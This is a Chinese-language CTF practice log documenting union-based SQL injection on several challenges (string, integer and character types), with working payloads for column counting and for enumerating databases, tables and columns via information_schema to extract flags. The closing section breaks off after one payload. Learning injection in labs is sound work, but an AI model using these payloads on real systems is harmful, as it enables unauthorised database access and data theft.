关于SQL的刷题记录
SQL注入
首先查看源码发现name为id,并且是post传参
用hackbar查查有几个数据,发现只有三个
测试发现当post内容加‘
时,内容就显示不出来
而加’#
,发现又正常显示
这个题完全就是考察SQL注入,这个题目前来看有两种解决方法,在这里记录一下。
第一种解决方法
首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema
的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等
2、查询中用到的group_concat()
函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了
先查个字段,因为有三个数据,就用4吧order by 4#
显示依然正常,那再试试5
这个时候发现没有返回值,所以可以确定字段就是四个,接下来,爆库名id=-1' union select 1,2,3,4#
,把id变为-1是因为如果id有回显的话,我们查询的内容就不能显示了,所以要换一个id没有内容的值
这样就知道每一个数值所在的位置,然后开始爆库,id=-1' union select 1,database(),user(),version()#
,这个有必要说明一下,database()是查询当前数据库名,user()是为了查询当前用户名,version()是为了查询数据库版本
然后爆表名,这个是固定格式,id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#
,得到两个表名fl4g,sc
再然后爆列明,id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#
得到列名skctf_flag
表明单引号要用英文的’',当然不加也可以,但是表名要用十六进制
最后一步就是查询想要的数据了
得到flag
第二种解决方法
sqlmap跑,目前还在了解,学会了再更!!
整数型注入
当输入1时发现有回显,并且url也发生变化
使用order by语句查询字段数
当输入3的时候发现没有回显,说明只有俩个字段数据。
使用union联合查询检测信息回显位置
id=1 union select 1,2
发现并不可以,由于页面只允许返回一行内容,可以修改参数为-1,使得需要查询的数据回显。
输入一下来获取当前数据库名
id=-1 union select 1,database()
输入一下获取所有数据库名
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
输入一下查询数据库sqli表名
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
输入以下获取flag的所有字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
输入以下获取指定数据库的表的列的内容
id=-1 union select 1,group_concat(flag) from sqli.flag
得到flag!
字符型注入
测试后发现和上边的那个整形注入一样,只有两个数据。回显只有两处:ID和Data。
联合查询
123’ union select database(),2 #